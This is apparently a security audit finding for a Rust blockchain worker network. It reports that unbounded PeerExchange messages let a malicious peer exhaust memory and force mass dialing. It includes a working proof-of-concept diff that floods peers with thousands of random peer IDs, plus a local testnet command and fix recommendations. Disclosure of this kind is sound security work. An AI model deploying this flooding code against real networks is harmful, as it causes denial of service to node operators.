## Summary A malicious worker can send bogus PeerExchange messages to any other worker, filling the memory of the worker and forcing it to dial a huge number of peers, resulting in DoS. ## Finding Description PeerExchange messages allow workers to share HashMaps of peer IDs to addresses, driving peer discovery. However, these messages are not carefully validated, and there is no bound on the number of IDs/addresses that are sent. A malicious peer can send many of these messages, leading to out-of-memory and DoS, because all of the bogus peers that are exchanged eventually lead to a dial attempt (shown below), filling the `peers` HashMap in `AllPeers`. ```rust pub(super) fn register_dial_attempt( &mut self, peer_id: PeerId, reply: Option>>, ) { // create the peer if it doesn't exist and register as dialing self.update_connection_status(&peer_id, NewConnectionStatus::Dialing); if let Some(reply) = reply { self.pending_dials.insert(peer_id, reply); } } ``` The `peers` HashMap in `AllPeers` is cleaned out periodically by a heartbeat, but there is sufficient time in between these cleanups to cause significant DoS, and some bogus peers linger in this HashMap even after cleanup. ```rust pub enum WorkerRequest { /// Send a new batch to a peer. ReportBatch { sealed_batch: SealedBatch }, /// Request batches by digest from a peer. RequestBatches { batch_digests: Vec }, /// Exchange peer information. /// /// This "request" is sent to peers when this node disconnects /// due to excess peers. The peer exchange is intended to support /// discovery. PeerExchange { peers: PeerExchangeMap }, } pub struct PeerExchangeMap( #[serde_as(as = "HashMap>")] pub HashMap>, ); ``` ## Impact Explanation The impact is Medium: "Temporary Disruption or DoS" ## Likelihood Explanation The likelihood is High, because any worker can send these requests to peer workers: "Issues that can be triggered by any user, without significant constraints" ## Proof of Concept Save the following to `poc.diff` then run `git apply poc.diff`: ```diff diff --git a/crates/consensus/worker/src/network/mod.rs b/crates/consensus/worker/src/network/mod.rs index 55a1e9e0..46919f94 100644 --- a/crates/consensus/worker/src/network/mod.rs +++ b/crates/consensus/worker/src/network/mod.rs @@ -6,7 +6,7 @@ use futures::{stream::FuturesUnordered, StreamExt}; use handler::RequestHandler; use message::{WorkerGossip, WorkerRPCError}; pub use message::{WorkerRequest, WorkerResponse}; -use std::{collections::HashSet, sync::Arc, time::Duration}; +use std::{collections::{HashMap, HashSet}, sync::Arc, time::Duration}; use tn_config::ConsensusConfig; use tn_network_libp2p::{ error::NetworkError, @@ -16,10 +16,10 @@ use tn_network_libp2p::{ use tn_network_types::{FetchBatchResponse, PrimaryToWorkerClient, WorkerSynchronizeMessage}; use tn_storage::tables::Batches; use tn_types::{ - encode, now, Batch, BatchValidation, BlockHash, Database, DbTxMut, SealedBatch, TaskManager, - TaskSpawner, WorkerId, + address, encode, now, Address, Batch, BatchValidation, BlockHash, Database, DbTxMut, SealedBatch, TaskManager, TaskSpawner, WorkerId }; use tokio::sync::{mpsc, oneshot}; +use tokio::time::{sleep}; use tracing::{debug, trace, warn}; mod error; @@ -271,6 +271,7 @@ pub struct WorkerNetwork { network_handle: WorkerNetworkHandle, // Request handler to process requests and return responses. request_handler: RequestHandler, + execution_address: Address, } impl WorkerNetwork @@ -285,13 +286,17 @@ where id: WorkerId, validator: Arc, ) -> Self { + let execution_address = consensus_config.config().execution_address().clone(); let request_handler = RequestHandler::new(id, validator, consensus_config, network_handle.clone()); - Self { network_events, network_handle, request_handler } + Self { network_events, network_handle, request_handler, execution_address } } /// Run the network for the epoch. pub fn spawn(mut self, epoch_task_spawner: &TaskSpawner) { + let network_handle = self.network_handle.clone(); + let worker_execution_address = self.execution_address; + epoch_task_spawner.spawn_task("worker network events", async move { loop { while let Some(event) = self.network_events.recv().await { @@ -299,6 +304,35 @@ where } } }); + + let malicious_worker_addr = address!("0x1111111111111111111111111111111111111111"); + if worker_execution_address == malicious_worker_addr { + epoch_task_spawner.spawn_task("malicious task", async move { + sleep(tokio::time::Duration::from_secs(10)).await; + tracing::info!("10s passed, starting attack"); + + let peers = network_handle.connected_peers().await.unwrap(); + + for peer_id in peers { + tracing::info!("Peer id: {}", peer_id); + + // let request = WorkerRequest::ReportBatch { sealed_batch }; + for _ in 0..5 { + let mut peer_map = HashMap::new(); + for _ in 0..1000 { + let mut multiaddrs = HashSet::new(); + let addr = "/ip4/127.0.0.1/udp/4040/quic-v1".parse().unwrap(); + multiaddrs.insert(addr); + + peer_map.insert(PeerId::random(), multiaddrs); + } + + let request = WorkerRequest::PeerExchange { peers: PeerExchangeMap(peer_map.clone()) }; + let _res = network_handle.handle.send_request(request, peer_id).await.unwrap(); + } + } + }); + } } /// Handle events concurrently. diff --git a/crates/network-libp2p/src/peers/all_peers.rs b/crates/network-libp2p/src/peers/all_peers.rs index c3a0c9bb..8b392e3e 100644 --- a/crates/network-libp2p/src/peers/all_peers.rs +++ b/crates/network-libp2p/src/peers/all_peers.rs @@ -149,6 +149,7 @@ impl AllPeers { // add default peer self.peers.insert(*peer_id, Peer::default()); + tracing::info!("Peers len: {}", self.peers.len()); } // ensure peer is banned if the new state is Banned ``` Now run the following: ```bash etc/local-testnet.sh --start --dev-funds 0x1111111111111111111111111111111111111111 ``` The worker connected to validator `0x1111111111111111111111111111111111111111` is the malicious worker. Look at the logs of another worker and observe that shortly after starting the testnet, the `AllPeers` peers HashMap will start to be flooded and memory consumption will grow rapidly. ## Recommendation - The PeerExchange message should be carefully validated, with limits on how many peers can be shared and when this message can be received - `AllPeers` peers HashMap should be restricted in size immediately upon new peers being dialed, not just with an infrequent heartbeat

Blobism

Public reviews